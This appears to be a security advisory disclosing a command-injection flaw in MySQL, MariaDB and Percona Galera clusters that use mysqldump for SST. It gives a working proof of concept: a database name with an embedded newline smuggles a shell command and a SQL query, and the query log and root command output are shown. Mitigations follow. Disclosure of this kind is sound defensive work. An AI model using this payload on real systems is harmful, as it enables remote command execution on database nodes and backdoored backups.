mysqldump is a common utility used to create logical backups of MySQL databases and one of the SST methods used by Galera to bring out-of-sync nodes back into the cluster. Using an evil database name, an attacker can gain remote command execution on all nodes in the cluster or backdoor MySQL backups in a similar attack to my previous post. Of course, this method requires the CREATE DATABASE
privilege instead of CREATE TABLE
.
Example Attack
First, the attacker creates a malicious database using the query below:
CREATE DATABASE `test
\! id
select user(),@@version; -- -`
It is important that the database name before the new line matches a database that actually exists.
Now that the evil database is in place, we wait until an SST transfer occurs. This will execute the wsrep_sst_mysqldump script which executes the following (simplified, the relevant options are set on lines 80-84 and 106-108, and executed at line 133-136:
$ mysqldump --add-drop-database --add-drop-table --skip-add-locks --create-options \
--disable-keys --extended-insert --skip-lock-tables --quick --set-charset \
--skip-comments --flush-privileges --all-databases | mysql -h $DONORHOST -u $DONORUSER -p$DONORPASS
With our evil database in place, the parsing error occurs when the script attempts after the use
statement:
USE `test
\! id
select user(),@@version; -- -`;
Now normally, this would not be a problem because everything between the backticks should be counted as the database name. In fact, that's how we created this database was created in the first place! It seems that in the case of use
statements, MySQL will terminate the query after the new line, allowing us to execute our payload. We can confirm this by executing this query alone with the general query log enabled, giving us the following entries:
161012 18:44:26 41 Connect root@localhost on
41 Query select @@version_comment limit 1
41 Query SELECT DATABASE()
41 Init DB test <-- uh oh! it thinks we said use `test`
41 Query select user(),@@version <-- injected query
41 Quit
Attack output
uid=0(root) gid=0(root) groups=0(root) <-- shell command executed
user() @@version
root@localhost 5.6.33 <-- evil query executed
Mitigation
- Revoke create database privileges wherever possible, as is best practice
- Do not use
mysqldump
as your SST method,xtrabackup-v2
is the reccomended method - Audit your databases for tables containing new lines. You can do this with a simple one-liner:
find /var/lib/mysql -type d -name "*@000a*"
Affected Versions
Package | Affected Versions | Last Updated |
---|---|---|
MySQL | All Versions | Oct 17, 2016 |
MariaDB | <= 5.5.52 and < 10.1 | March 9th, 2017 |
Percona | All Versions | Oct 17, 2016 |